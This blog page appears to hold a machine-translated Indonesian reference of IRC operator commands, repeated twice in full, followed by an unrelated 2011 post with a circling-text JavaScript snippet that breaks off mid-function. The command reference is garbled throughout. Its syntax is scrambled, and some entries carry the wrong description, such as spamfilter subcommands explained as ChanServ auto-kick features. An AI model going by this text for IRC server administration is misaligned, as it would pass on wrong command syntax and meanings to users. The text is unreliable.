Membunuh daemon irc, pemutus semua pengguna saat ini pada server.
* GETINFO: user / getinfo / channel / server
Digunakan pada saluran, pengguna, atau server untuk mendapatkan dump dari aClient mereka struct.
* GLINE: / user @ host gline waktu untuk melarang alasan atau / waktu GLINE nick untuk melarang alasan
"Larangan" sebuah hostmask dari koneksi ke server IRC. Waktu untuk melarang adalah baik: a) nilai dalam hitungan detik, b) nilai waktu, seperti '1 d 'adalah 1 hari atau c) '0' untuk permanen. Waktu dan alasan adalah opsional, jika tidak ditentukan set:: default-bantime (default: 0/permanent) dan 'tanpa alasan' yang digunakan. Untuk menghapus menggunakan gline / gline-user @ host
* GZLINE: / user @ host gzline waktu untuk melarang alasan atau / waktu GZLINE nick untuk melarang alasan
Menambahkan zline global. Waktu untuk melarang adalah baik: a) nilai dalam hitungan detik, b) nilai waktu, seperti '1 d 'adalah 1 hari atau c) '0' untuk permanen. Waktu dan alasan adalah opsional, jika tidak ditentukan set:: default-bantime (default: 0/permanent) dan 'tanpa alasan' yang digunakan. Untuk menghapus menggunakan gzline / gzline-user @ host
* GLOBOPS: / globops pesan
Mengirim "pesan" global untuk semua IRCOps. Hanya dapat dilihat oleh IRCOps (tidak seperti Wallops, yang dapat dilihat oleh pengguna normal).
* HOSTSERV: Memungkinkan pengaturan dari vhost. CATATAN: vhosts hanya diberikan kepada SANGAT KHUSUS VIP dan akan digunakan SANGAT hemat. Dalam situasi harus vhost menggunakan mil,.. Gov, atau domain resmi lainnya ditugaskan. Lebih dari penggunaan atau penyalahgunaan sistem vhost akan mengakibatkan penghapusan Oline Anda dan semua vhosts ditetapkan.
o DEL: hostserv / msg del nick
Menghapus vhost ditugaskan kepada nick yang diberikan dari database.
o DELALL: / hostserv del msg nick
Menghapus vhost untuk nick semua dalam kelompok yang sama seperti yang dari nick yang diberikan.
o DAFTAR: / msg hostserv tombol daftar
Perintah ini daftar terdaftar vhost untuk operator jika kunci yang ditentukan, hanya entri nick whos atau vhost cocok dengan pola yang diberikan dalam kunci akan ditampilkan. misalnya Rob * untuk semua entri yang diawali dengan "Rob" Jika gaya XY digunakan, entri hanya antara berbagai X dan Y akan ditampilkan, misalnya 1-3 akan menampilkan nick 3 pertama / entri vhost.
o: SET / msg hostserv set nick hostmask
Mengatur vhost untuk nick yang diberikan dengan yang yang diberikan.
o SETALL / hostserv setall hostmask nick msg
HostServ-dari nick yang diberikan. CATATAN *, ini tidak akan memperbarui vhost untuk nick apapun yang ditambahkan ke grup setelah perintah ini digunakan.
* HTM: / htm pilihan
Kontrol pengaturan yang berkaitan dengan mode lalu lintas tinggi. Mode Traffic Tinggi (HTM) pada dasarnya menonaktifkan perintah pengguna tertentu seperti: whois daftar yang dll dalam respon terhadap lalu lintas sangat tinggi pada server. Pilihan meliputi:
o ON server Angkatan = ke HTM
o OFF = Angkatan server keluar dari HTM
o BERISIK = Mengatur server untuk memberitahu pengguna / admin saat masuk dan keluar dari HTM
o QUIET = Mengatur server untuk TIDAK memberitahu ketika masuk dan keluar dari HTM
o ATAS nilai = Beritahu HTM apa tarif masuk untuk mengaktifkan HTM
* KILL: / alasan membunuh pengguna
Paksa terputus pengguna dari Sever IRC.
* Kline: / user @ host Kline waktu untuk melarang alasan atau / waktu Kline nick untuk melarang alasan
Melarang hostmask dari server itu diterbitkan pada. Kline bukanlah larangan global. Waktu untuk melarang adalah baik: a) nilai dalam hitungan detik, b) nilai waktu, seperti '1 d 'adalah 1 hari atau c) '0' untuk permanen. Waktu dan alasan adalah opsional, jika tidak ditentukan set:: default-bantime (default: 0/permanent) dan 'tanpa alasan' yang digunakan. Untuk menghapus menggunakan Kline / Kline-user @ host
* LAG: / lag server
Perintah ini seperti Sonar atau Traceroute untuk server IRC. Anda ketik di / LAG irc.fyremoon.net dan akan balasan dari setiap server lewat dengan waktu dan sebagainya. Berguna untuk mencari di mana lag ini dan masa depan TS opsional / perjalanan masa lalu.
* LOCOPS: / locops pesan
Serupa dengan GLOBOPS, kecuali hanya diterima oleh mereka IRCOps lokal ke server Anda.
* MODUL: server / modul
Daftar semua modul dimuat.
* NACHAT: / pesan nachat
Mengirim pesan ke semua Admin Bersih.
* Oper: / password userid oper
Perintah untuk memberikan status operator pengguna jika mereka cocok dengan Blok Oper
* OPERMOTD: / opermotd
Menampilkan pesan oper server hari.
* Pengulangan: / restart server flag
Rehashes server file konfigurasi. Termasuk nama server memungkinkan Anda untuk pengulangan sebuah server remote file konfigurasi. Beberapa bendera juga tersedia. Mereka Sertakan
o-motd - Hanya pengulangan semua motd dan file ATURAN (termasuk tld {})
o-opermotd - Hanya pengulangan file OPERMOTD
o-botmotd - Hanya pengulangan file BOTMOTD
o-sampah - Force pengumpulan sampah
* Restart: / pengulangan server password
Membunuh dan restart Proses IRCD, pemutus semua pengguna saat ini pada server. Password diperlukan. Anda juga dapat memasukkan nama server untuk me-restart server remote.
* RPING / rping server
Ini akan menghitung Lag (Dalam milidetik) antara server.
* SETHOST: host / baru sethost
Mari IRCop mengubah vhost sendiri untuk apa yang pernah mereka inginkan.
* SETIDENT: ident / baru setident
Mari IRCop mengubah ident mereka sendiri untuk apa yang pernah mereka inginkan.
* SHUN: / menghindari user @ host waktu untuk melarang alasan atau / SHUN waktu nick untuk melarang alasan
Mencegah pengguna dari mengeksekusi perintah APAPUN dan mencegah mereka dari berbicara. Shuns bersifat global (seperti glines). Waktu untuk melarang adalah baik: a) nilai dalam hitungan detik, b) nilai waktu, seperti '1 d 'adalah 1 hari atau c) '0' untuk permanen. Waktu dan alasan adalah opsional, jika tidak ditentukan set:: default-bantime (default: 0/permanent) dan 'tanpa alasan' yang digunakan. Untuk menghapus menghindari menggunakan / menghindari-user @ host
* SPAMFILTER: Perintah ini menambahkan / menghapus filter spam global. Spamfilters dapat digunakan untuk menyingkirkan spam, iklan, bot, dll
ADD o: / spamfilter menambahkan aksi tkltime regex alasan jenis
Menambahkan nick diberikan atau usermask ke daftar Kick Auto. Jika alasan diberikan dengan perintah, alasan yang akan digunakan ketika pengguna ditendang, jika tidak, alasan default adalah "Anda telah diblokir dari saluran".
DEL o: / spamfilter del tkltime tindakan regex alasan jenis
Permanen melarang topeng diberikan pada saluran. Jika seseorang mencoba untuk menghapus larangan, ChanServ otomatis akan atur kembali. Anda tidak dapat menggunakannya untuk nick terdaftar.
o MEMINDAHKAN: / spamfilter menghapus tindakan tkltime regex alasan jenis
Membatalkan efek dari perintah STICK AKICK, sehingga Anda akan dapat unset larangan lagi pada saluran.
o: / jenis tindakan spamfilter tkltime regex alasan
Menghapus nick diberikan atau topeng dari daftar Kick Auto. Ini tidak, bagaimanapun, menghapus larangan yang ditempatkan oleh Kick Auto; mereka harus disingkirkan secara manual.
o -: / spamfilter - tindakan regex tkltime alasan jenis
Auto Kick Menampilkan daftar, atau hanya opsional Auto Kick entri yang sesuai dengan mask yang diberikan.
[Jenis] menentukan tipe target, Anda dapat menetapkan beberapa sasaran.
o c = msg channel
o p = pesan pribadi
o n = pemberitahuan swasta
o N = pemberitahuan saluran
o P = bagian msg
q o = berhenti msg
o d = dcc
[Tindakan] menentukan tindakan yang akan diambil (hanya 1 tindakan bisa ditentukan).
o membunuh
o tempshun (hanya menghindari sesi aktif)
o menghindari
o Kline
o gline
o zline
o gzline
o blok (blok msg itu)
o dccblock (tidak dapat mengirimkan dccs)
o viruschan (bagian semua saluran dan bergabung dengan chan bantuan virus).
[Regex] ini adalah regex sebenarnya dimana kita harus blok pada.
[Tkltime] durasi dari garis * ditempatkan dengan tindakan (gunakan - untuk menggunakan default set:: spamfilter:: ban-waktu, nilai ini diabaikan untuk blok / tempshun).
[Alasan] alasan * LINE atau blockmsg, BISA TIDAK MENGANDUNG _ RUANG akan diterjemahkan ke spasi. Sekali lagi, jika Anda menggunakan - untuk default (set:: spamfilter:: ban-alasan) digunakan.
Beberapa contoh:
o / p spamfilter menambahkan blok - - Ayo lihat saya di webcam saya
o / p spamfilter menambahkan blok - Possible_virus_detected, _join_ # membantu Ayo lihat saya di webcam saya
o / spamfilter menambahkan tempshun p - -. You_are_infected saya \ mpg
o / spamfilter menambahkan gline p - - Ayo lihat saya di webcam saya
o / spamfilter menambahkan p gline 3h Please_go_to_www.viruscan.xx / nicepage / virus = bla Ayo lihat saya di webcam saya
o / spamfilter add p membunuh - Please_go_to_www.viruscan.xx / nicepage / virus = bla Ayo lihat saya di webcam saya
o / spamfilter del blok p - - Ayo lihat saya di webcam saya *
o / spamfilter menambahkan cN 1d gzline No_advertising_please datang ke irc \ .. \ ..
* STATS: / STATS surat
Menyediakan informasi statistik tertentu tentang server (misalnya, u akan memberikan informasi uptime).
Stat Flags:
o b = Badword = Daftar daftar BADWORDS
o B = banversion = Daftar versi larangan
o C = link = Daftar blok link (C / N: Lines, Server terhubung atau menerima menghubungkan dari)
o D = denylinkall = Daftar arus mengingkari link (semua) daftar blokir (D: Lines, Disallow Lines-Oper & Server Asli Menyambungkan)
od = denylinkauto = Daftar link menyangkal saat ini (auto) blok daftar (d: Lines, Disallow Lines-Autoconnects)
oe = exceptban = Daftar arus kecuali daftar larangan blok (e: Lines, Proxy scan IP dikecualikan)
o E = exceptthrottle = Daftar arus kecuali daftar throttle blok (E: Lines, K: Line Pengecualian)
o F = denydcc = Daftar daftar blokir terkini menolak dcc
dari = spamfilter = daftar Daftar yang spamfilter saat ini
o G = gline = Daftar semua saat ini G: Lines (Banned host)
Extended flag: [/-mrs] [mask] [alasan] [setby]
m = Return glines cocok / tidak cocok dengan topeng yang ditentukan
Kembali glines r = dengan alasan yang cocok / tidak cocok dengan alasan tertentu
s = Kembali glines ditetapkan oleh / tidak ditetapkan oleh klien mencocokkan nama yang ditentukan
o H = Daftar semua sekarang H: Lines (Hub Lines) & L: Lines (Daun Lines)
o I = memungkinkan Lists = arus daftar blokir memungkinkan (I: Lines, Klien auth Lines)
OJ = officialchans = Kirim daftar jalur resmi
o K = Kline = Daftar arus pengguna larangan / ip larangan / daftar blokir kecuali larangan (K: Lines, Z: Lines, E: Lines, Banned host / IP)
o l = linkinfo = Kirim informasi link
o L = linkinfoall = Informasi tentang koneksi server saat ini
o M = perintah = Kirim daftar berapa kali setiap perintah digunakan
m o = Memberikan daftar perintah Server
pada = banrealname = Daftar arus daftar larangan realname blok
o N = Daftar Konfigurasi Jaringan laporan
o O = oper = Daftar blok oper daftar sekarang (O: Lines, IRC Operator Lines)
o P = port = Kirim informasi tentang port
o Q = bannick = Daftar nick larangan saat daftar blok (Q: Lines, Terlarang Nicks)
o q = sqline = Lists the Nicks SQLINEed
atau = chanrestrict = Daftar saluran tersebut menyangkal / memungkinkan daftar blok
o R = penggunaan = Kirim informasi penggunaan
o S = set = Mengirim daftar blok set
s o = menghindari = Mengirim menghindari daftar
Extended flag: [/-mrs] [mask] [alasan] [setby]
m Kembali shuns pencocokan / tidak cocok dengan topeng yang ditentukan
shuns Kembali r dengan alasan yang cocok / tidak cocok dengan alasan tertentu
s shuns Return ditetapkan oleh / tidak ditetapkan oleh klien mencocokkan nama yang ditentukan
o t = tld = Mengirim daftar blok tld
o T = lalu lintas = Kirim informasi lalu lintas
o U = uline = Daftar yang ulines blok saat daftar (U: Lines, Biasanya Layanan)
ou = uptime = The uptime server dan jumlah koneksi
ov = denyver = Daftar blok saat ini menolak versi daftar (V: Lines, Versi Deny)
o V = vhost = Mengirim daftar blok vhost
o W = Memberikan Load Server saat ini
o X = notlink = Daftar server yang tidak lancar terkait
o Y = class = Daftar blok kelas daftar sekarang (Y: Lines, kelas Connection)
o Z = mem = Kirim informasi penggunaan memori
oz = zip = Kirim informasi kompresi tentang server ziplinked (jika dikompilasi dengan dukungan ziplinks)
* SQUIT: / server squit
Terputus server dari jaringan.
* TEMPSHUN / tempshun alasan nick
shuns sementara tersebut shuns ditambahkan pada target yang ditetapkan untuk sesi saat ini saja, berarti ini jika pengguna menghubungkan kembali menghindari akan hilang. Untuk menghapus menggunakan tempshun: / tempshun-nick
* TRACE: / server atau trace / jejak nick
Ketika digunakan pada user akan memberikan kelas dan info lag. Jika Anda menggunakannya pada server memberikan Anda class / versi / info link.
* UNGLINE: / ungline hostmask
Menghapus g: garis dari server.
* UNZLINE: ip / unzline
Menghapus sebuah z saat ini aktif: Line.
* Wallops: / Wallops pesan
Mengirim "pesan" untuk semua orang dengan umode ay Hanya IRCOps dapat mengirim Wallops, sedangkan siapa saja bisa melihatnya.
* ZLINE: / * zline @ ip waktu untuk melarang alasan atau / waktu ZLINE nick untuk melarang alasan
Larangan Alamat IP dari server lokal yang diterbitkan pada (bukan global). Lihat Kline untuk info lebih lanjut sintaks. Waktu untuk melarang adalah baik: a) nilai dalam hitungan detik, b) nilai waktu, seperti '1 d 'adalah 1 hari atau c) '0' untuk permanen. Waktu dan alasan adalah opsional, jika tidak ditentukan set:: default-bantime (default: 0/permanent) dan 'tanpa alasan' yang digunakan. Untuk menghapus menggunakan zline / -* zline ip @
* ADCHAT: / pesan adchat
Mengirim pesan ke semua Admin.
* ADDMOTD: Pesan / addmotd
Akan menambah teks yang diberikan kepada akhir motd.
* ADDOMOTD: Pesan / addomotd
Akan menambah teks yang diberikan kepada akhir OperMotd.
* CHATOPS: / chatops pesan
GLOBOPS biasanya dicadangkan untuk jaringan informasi penting. Oleh karena itu, untuk Oper Chat, CHATOPS diciptakan. IRCOps dengan bendera c diaktifkan akan dapat mengirim / menerima pesan CHATOPS.
* CHGHOST: / host chghost nick
Perubahan nama host dari pengguna saat ini pada jaringan IRC.
* CHGIDENT: / ident nick chgident
Mengubah ident dari pengguna saat ini pada jaringan IRC.
* CHGNAME: / nick name chgname
Mengubah "IRC Nama" (atau "Nama Asli") dari pengguna saat ini pada jaringan IRC.
* CONNECT: / server terhubung port server
Jika hanya satu server yang diberikan, maka program akan mencoba untuk melakukan koneksi ke server yang Anda ON ke server yang diberikan. Jika 2 server yang diberikan, maka program akan mencoba menghubungkan 2 server bersama-sama. Masukkan server daun sebagai yang pertama, dan server hub sebagai yang kedua.
* DCCDENY / alasan dccdeny filemask
Menambahkan DCCDENY untuk filemask itu. Mencegah dari file yang sedang dikirim. Untuk menghapus menyangkal menggunakan / filemask undccdeny
* DIE: password / mati
Membunuh daemon irc, pemutus semua pengguna saat ini pada server.
* GETINFO: user / getinfo / channel / server
Digunakan pada saluran, pengguna, atau server untuk mendapatkan dump dari aClient mereka struct.
* GLINE: / user @ host gline waktu untuk melarang alasan atau / waktu GLINE nick untuk melarang alasan
"Larangan" sebuah hostmask dari koneksi ke server IRC. Waktu untuk melarang adalah baik: a) nilai dalam hitungan detik, b) nilai waktu, seperti '1 d 'adalah 1 hari atau c) '0' untuk permanen. Waktu dan alasan adalah opsional, jika tidak ditentukan set:: default-bantime (default: 0/permanent) dan 'tanpa alasan' yang digunakan. Untuk menghapus menggunakan gline / gline-user @ host
* GZLINE: / user @ host gzline waktu untuk melarang alasan atau / waktu GZLINE nick untuk melarang alasan
Menambahkan zline global. Waktu untuk melarang adalah baik: a) nilai dalam hitungan detik, b) nilai waktu, seperti '1 d 'adalah 1 hari atau c) '0' untuk permanen. Waktu dan alasan adalah opsional, jika tidak ditentukan set:: default-bantime (default: 0/permanent) dan 'tanpa alasan' yang digunakan. Untuk menghapus menggunakan gzline / gzline-user @ host
* GLOBOPS: / globops pesan
Mengirim "pesan" global untuk semua IRCOps. Hanya dapat dilihat oleh IRCOps (tidak seperti Wallops, yang dapat dilihat oleh pengguna normal).
* HOSTSERV: Memungkinkan pengaturan dari vhost. CATATAN: vhosts hanya diberikan kepada SANGAT KHUSUS VIP dan akan digunakan SANGAT hemat. Dalam situasi harus vhost menggunakan mil,.. Gov, atau domain resmi lainnya ditugaskan. Lebih dari penggunaan atau penyalahgunaan sistem vhost akan mengakibatkan penghapusan Oline Anda dan semua vhosts ditetapkan.
o DEL: hostserv / msg del nick
Menghapus vhost ditugaskan kepada nick yang diberikan dari database.
o DELALL: / hostserv del msg nick
Menghapus vhost untuk nick semua dalam kelompok yang sama seperti yang dari nick yang diberikan.
o DAFTAR: / msg hostserv tombol daftar
Perintah ini daftar terdaftar vhost untuk operator jika kunci yang ditentukan, hanya entri nick whos atau vhost cocok dengan pola yang diberikan dalam kunci akan ditampilkan. misalnya Rob * untuk semua entri yang diawali dengan "Rob" Jika gaya XY digunakan, entri hanya antara berbagai X dan Y akan ditampilkan, misalnya 1-3 akan menampilkan nick 3 pertama / entri vhost.
o: SET / msg hostserv set nick hostmask
Mengatur vhost untuk nick yang diberikan dengan yang yang diberikan.
o SETALL / hostserv setall hostmask nick msg
HostServ-dari nick yang diberikan. CATATAN *, ini tidak akan memperbarui vhost untuk nick apapun yang ditambahkan ke grup setelah perintah ini digunakan.
* HTM: / htm pilihan
Kontrol pengaturan yang berkaitan dengan mode lalu lintas tinggi. Mode Traffic Tinggi (HTM) pada dasarnya menonaktifkan perintah pengguna tertentu seperti: whois daftar yang dll dalam respon terhadap lalu lintas sangat tinggi pada server. Pilihan meliputi:
o ON server Angkatan = ke HTM
o OFF = Angkatan server keluar dari HTM
o BERISIK = Mengatur server untuk memberitahu pengguna / admin saat masuk dan keluar dari HTM
o QUIET = Mengatur server untuk TIDAK memberitahu ketika masuk dan keluar dari HTM
o ATAS nilai = Beritahu HTM apa tarif masuk untuk mengaktifkan HTM
* KILL: / alasan membunuh pengguna
Paksa terputus pengguna dari Sever IRC.
* Kline: / user @ host Kline waktu untuk melarang alasan atau / waktu Kline nick untuk melarang alasan
Melarang hostmask dari server itu diterbitkan pada. Kline bukanlah larangan global. Waktu untuk melarang adalah baik: a) nilai dalam hitungan detik, b) nilai waktu, seperti '1 d 'adalah 1 hari atau c) '0' untuk permanen. Waktu dan alasan adalah opsional, jika tidak ditentukan set:: default-bantime (default: 0/permanent) dan 'tanpa alasan' yang digunakan. Untuk menghapus menggunakan Kline / Kline-user @ host
* LAG: / lag server
Perintah ini seperti Sonar atau Traceroute untuk server IRC. Anda ketik di / LAG irc.fyremoon.net dan akan balasan dari setiap server lewat dengan waktu dan sebagainya. Berguna untuk mencari di mana lag ini dan masa depan TS opsional / perjalanan masa lalu.
* LOCOPS: / locops pesan
Serupa dengan GLOBOPS, kecuali hanya diterima oleh mereka IRCOps lokal ke server Anda.
* MODUL: server / modul
Daftar semua modul dimuat.
* NACHAT: / pesan nachat
Mengirim pesan ke semua Admin Bersih.
* Oper: / password userid oper
Perintah untuk memberikan status operator pengguna jika mereka cocok dengan Blok Oper
* OPERMOTD: / opermotd
Menampilkan pesan oper server hari.
* Pengulangan: / restart server flag
Rehashes server file konfigurasi. Termasuk nama server memungkinkan Anda untuk pengulangan sebuah server remote file konfigurasi. Beberapa bendera juga tersedia. Mereka Sertakan
o-motd - Hanya pengulangan semua motd dan file ATURAN (termasuk tld {})
o-opermotd - Hanya pengulangan file OPERMOTD
o-botmotd - Hanya pengulangan file BOTMOTD
o-sampah - Force pengumpulan sampah
* Restart: / pengulangan server password
Membunuh dan restart Proses IRCD, pemutus semua pengguna saat ini pada server. Password diperlukan. Anda juga dapat memasukkan nama server untuk me-restart server remote.
* RPING / rping server
Ini akan menghitung Lag (Dalam milidetik) antara server.
* SETHOST: host / baru sethost
Mari IRCop mengubah vhost sendiri untuk apa yang pernah mereka inginkan.
* SETIDENT: ident / baru setident
Mari IRCop mengubah ident mereka sendiri untuk apa yang pernah mereka inginkan.
* SHUN: / menghindari user @ host waktu untuk melarang alasan atau / SHUN waktu nick untuk melarang alasan
Mencegah pengguna dari mengeksekusi perintah APAPUN dan mencegah mereka dari berbicara. Shuns bersifat global (seperti glines). Waktu untuk melarang adalah baik: a) nilai dalam hitungan detik, b) nilai waktu, seperti '1 d 'adalah 1 hari atau c) '0' untuk permanen. Waktu dan alasan adalah opsional, jika tidak ditentukan set:: default-bantime (default: 0/permanent) dan 'tanpa alasan' yang digunakan. Untuk menghapus menghindari menggunakan / menghindari-user @ host
* SPAMFILTER: Perintah ini menambahkan / menghapus filter spam global. Spamfilters dapat digunakan untuk menyingkirkan spam, iklan, bot, dll
ADD o: / spamfilter menambahkan aksi tkltime regex alasan jenis
Menambahkan nick diberikan atau usermask ke daftar Kick Auto. Jika alasan diberikan dengan perintah, alasan yang akan digunakan ketika pengguna ditendang, jika tidak, alasan default adalah "Anda telah diblokir dari saluran".
DEL o: / spamfilter del tkltime tindakan regex alasan jenis
Permanen melarang topeng diberikan pada saluran. Jika seseorang mencoba untuk menghapus larangan, ChanServ otomatis akan atur kembali. Anda tidak dapat menggunakannya untuk nick terdaftar.
o MEMINDAHKAN: / spamfilter menghapus tindakan tkltime regex alasan jenis
Membatalkan efek dari perintah STICK AKICK, sehingga Anda akan dapat unset larangan lagi pada saluran.
o: / jenis tindakan spamfilter tkltime regex alasan
Menghapus nick diberikan atau topeng dari daftar Kick Auto. Ini tidak, bagaimanapun, menghapus larangan yang ditempatkan oleh Kick Auto; mereka harus disingkirkan secara manual.
o -: / spamfilter - tindakan regex tkltime alasan jenis
Auto Kick Menampilkan daftar, atau hanya opsional Auto Kick entri yang sesuai dengan mask yang diberikan.
[Jenis] menentukan tipe target, Anda dapat menetapkan beberapa sasaran.
o c = msg channel
o p = pesan pribadi
o n = pemberitahuan swasta
o N = pemberitahuan saluran
o P = bagian msg
q o = berhenti msg
o d = dcc
[Tindakan] menentukan tindakan yang akan diambil (hanya 1 tindakan bisa ditentukan).
o membunuh
o tempshun (hanya menghindari sesi aktif)
o menghindari
o Kline
o gline
o zline
o gzline
o blok (blok msg itu)
o dccblock (tidak dapat mengirimkan dccs)
o viruschan (bagian semua saluran dan bergabung dengan chan bantuan virus).
[Regex] ini adalah regex sebenarnya dimana kita harus blok pada.
[Tkltime] durasi dari garis * ditempatkan dengan tindakan (gunakan - untuk menggunakan default set:: spamfilter:: ban-waktu, nilai ini diabaikan untuk blok / tempshun).
[Alasan] alasan * LINE atau blockmsg, BISA TIDAK MENGANDUNG _ RUANG akan diterjemahkan ke spasi. Sekali lagi, jika Anda menggunakan - untuk default (set:: spamfilter:: ban-alasan) digunakan.
Beberapa contoh:
o / p spamfilter menambahkan blok - - Ayo lihat saya di webcam saya
o / p spamfilter menambahkan blok - Possible_virus_detected, _join_ # membantu Ayo lihat saya di webcam saya
o / spamfilter menambahkan tempshun p - -. You_are_infected saya \ mpg
o / spamfilter menambahkan gline p - - Ayo lihat saya di webcam saya
o / spamfilter menambahkan p gline 3h Please_go_to_www.viruscan.xx / nicepage / virus = bla Ayo lihat saya di webcam saya
o / spamfilter add p membunuh - Please_go_to_www.viruscan.xx / nicepage / virus = bla Ayo lihat saya di webcam saya
o / spamfilter del blok p - - Ayo lihat saya di webcam saya *
o / spamfilter menambahkan cN 1d gzline No_advertising_please datang ke irc \ .. \ ..
* STATS: / STATS surat
Menyediakan informasi statistik tertentu tentang server (misalnya, u akan memberikan informasi uptime).
Stat Flags:
o b = Badword = Daftar daftar BADWORDS
o B = banversion = Daftar versi larangan
o C = link = Daftar blok link (C / N: Lines, Server terhubung atau menerima menghubungkan dari)
o D = denylinkall = Daftar arus mengingkari link (semua) daftar blokir (D: Lines, Disallow Lines-Oper & Server Asli Menyambungkan)
od = denylinkauto = Daftar link menyangkal saat ini (auto) blok daftar (d: Lines, Disallow Lines-Autoconnects)
oe = exceptban = Daftar arus kecuali daftar larangan blok (e: Lines, Proxy scan IP dikecualikan)
o E = exceptthrottle = Daftar arus kecuali daftar throttle blok (E: Lines, K: Line Pengecualian)
o F = denydcc = Daftar daftar blokir terkini menolak dcc
dari = spamfilter = daftar Daftar yang spamfilter saat ini
o G = gline = Daftar semua saat ini G: Lines (Banned host)
Extended flag: [/-mrs] [mask] [alasan] [setby]
m = Return glines cocok / tidak cocok dengan topeng yang ditentukan
Kembali glines r = dengan alasan yang cocok / tidak cocok dengan alasan tertentu
s = Kembali glines ditetapkan oleh / tidak ditetapkan oleh klien mencocokkan nama yang ditentukan
o H = Daftar semua sekarang H: Lines (Hub Lines) & L: Lines (Daun Lines)
o I = memungkinkan Lists = arus daftar blokir memungkinkan (I: Lines, Klien auth Lines)
OJ = officialchans = Kirim daftar jalur resmi
o K = Kline = Daftar arus pengguna larangan / ip larangan / daftar blokir kecuali larangan (K: Lines, Z: Lines, E: Lines, Banned host / IP)
o l = linkinfo = Kirim informasi link
o L = linkinfoall = Informasi tentang koneksi server saat ini
o M = perintah = Kirim daftar berapa kali setiap perintah digunakan
m o = Memberikan daftar perintah Server
pada = banrealname = Daftar arus daftar larangan realname blok
o N = Daftar Konfigurasi Jaringan laporan
o O = oper = Daftar blok oper daftar sekarang (O: Lines, IRC Operator Lines)
o P = port = Kirim informasi tentang port
o Q = bannick = Daftar nick larangan saat daftar blok (Q: Lines, Terlarang Nicks)
o q = sqline = Lists the Nicks SQLINEed
atau = chanrestrict = Daftar saluran tersebut menyangkal / memungkinkan daftar blok
o R = penggunaan = Kirim informasi penggunaan
o S = set = Mengirim daftar blok set
s o = menghindari = Mengirim menghindari daftar
Extended flag: [/-mrs] [mask] [alasan] [setby]
m Kembali shuns pencocokan / tidak cocok dengan topeng yang ditentukan
shuns Kembali r dengan alasan yang cocok / tidak cocok dengan alasan tertentu
s shuns Return ditetapkan oleh / tidak ditetapkan oleh klien mencocokkan nama yang ditentukan
o t = tld = Mengirim daftar blok tld
o T = lalu lintas = Kirim informasi lalu lintas
o U = uline = Daftar yang ulines blok saat daftar (U: Lines, Biasanya Layanan)
ou = uptime = The uptime server dan jumlah koneksi
ov = denyver = Daftar blok saat ini menolak versi daftar (V: Lines, Versi Deny)
o V = vhost = Mengirim daftar blok vhost
o W = Memberikan Load Server saat ini
o X = notlink = Daftar server yang tidak lancar terkait
o Y = class = Daftar blok kelas daftar sekarang (Y: Lines, kelas Connection)
o Z = mem = Kirim informasi penggunaan memori
oz = zip = Kirim informasi kompresi tentang server ziplinked (jika dikompilasi dengan dukungan ziplinks)
* SQUIT: / server squit
Terputus server dari jaringan.
* TEMPSHUN / tempshun alasan nick
shuns sementara tersebut shuns ditambahkan pada target yang ditetapkan untuk sesi saat ini saja, berarti ini jika pengguna menghubungkan kembali menghindari akan hilang. Untuk menghapus menggunakan tempshun: / tempshun-nick
* TRACE: / server atau trace / jejak nick
Ketika digunakan pada user akan memberikan kelas dan info lag. Jika Anda menggunakannya pada server memberikan Anda class / versi / info link.
* UNGLINE: / ungline hostmask
Menghapus g: garis dari server.
* UNZLINE: ip / unzline
Menghapus sebuah z saat ini aktif: Line.
* Wallops: / Wallops pesan
Mengirim "pesan" untuk semua orang dengan umode ay Hanya IRCOps dapat mengirim Wallops, sedangkan siapa saja bisa melihatnya.
* ZLINE: / * zline @ ip waktu untuk melarang alasan atau / waktu ZLINE nick untuk melarang alasan
Larangan Alamat IP dari server lokal yang diterbitkan pada (bukan global). Lihat Kline untuk info lebih lanjut sintaks. Waktu untuk melarang adalah baik: a) nilai dalam hitungan detik, b) nilai waktu, seperti '1 d 'adalah 1 hari atau c) '0' untuk permanen. Waktu dan alasan adalah opsional, jika tidak ditentukan set:: default-bantime (default: 0/permanent) dan 'tanpa alasan' yang digunakan. Untuk menghapus menggunakan zline / -* zline ip @
Selasa, 05 April 2011
Script membuat Tulisan Berjalan
<style type="text/css">
/* Circle Text Styles */
/*http://www.dynamicdrive.com/dynamicindex13/circletext.htm */
#outerCircleText {
/* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
font-style: italic;
font-weight: bold;
font-family: 'comic sans ms', verdana, arial;
color: ##0010;
/* End Optional */
/* Start Required - Do Not Edit */
position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
#outerCircleText div {position: relative;}
#outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
/* End Required */
/* End Circle Text Styles */
</style>
<script type="text/javascript">
/* Circling text trail- Tim Tilton
Website: http://www.tempermedia.com/
Visit: http://www.dynamicdrive.com/ for Original Source and tons of scripts
Modified Here for more flexibility and modern browser support
Modifications as first seen in http://www.dynamicdrive.com/forums/
username:jscheuer1 - This notice must remain for legal use
*/
;(function(){
// Your message here (QUOTED STRING)
var msg = "STMIK ICHSAN GORONTALO";
/* THE REST OF THE EDITABLE VALUES BELOW ARE ALL UNQUOTED NUMBERS */
// Set font's style size for calculating dimensions
// Set to number of desired pixels font size (decimal and negative numbers not allowed)
var size = 24;
// Set both to 1 for plain circle, set one of them to 2 for oval
// Other numbers & decimals can have interesting effects, keep these low (0 to 3)
var circleY = 0.75; var circleX = 2;
// The larger this divisor, the smaller the spaces between letters
// (decimals allowed, not negative numbers)
var letter_spacing = 5;
// The larger this multiplier, the bigger the circle/oval
// (decimals allowed, not negative numbers, some rounding is applied)
var diameter = 10;
// Rotation speed, set it negative if you want it to spin clockwise (decimals allowed)
var rotation = 0.4;
// This is not the rotation speed, its the reaction speed, keep low!
// Set this to 1 or a decimal less than one (decimals allowed, not negative numbers)
var speed = 0.3;
////////////////////// Stop Editing //////////////////////
if (!window.addEventListener && !window.attachEvent || !document.createElement) return;
msg = msg.split('');
var n = msg.length - 1, a = Math.round(size * diameter * 0.208333), currStep = 20,
ymouse = a * circleY + 20, xmouse = a * circleX + 20, y = [], x = [], Y = [], X = [],
o = document.createElement('div'), oi = document.createElement('div'),
b = document.compatMode && document.compatMode != "BackCompat"? document.documentElement : document.body,
mouse = function(e){
e = e || window.event;
ymouse = !isNaN(e.pageY)? e.pageY : e.clientY; // y-position
xmouse = !isNaN(e.pageX)? e.pageX : e.clientX; // x-position
},
makecircle = function(){ // rotation/positioning
if(init.nopy){
o.style.top = (b || document.body).scrollTop + 'px';
o.style.left = (b || document.body).scrollLeft + 'px';
};
currStep -= rotation;
for (var d, i = n; i > -1; --i){ // makes the circle
d = document.getElementById('iemsg' + i).style;
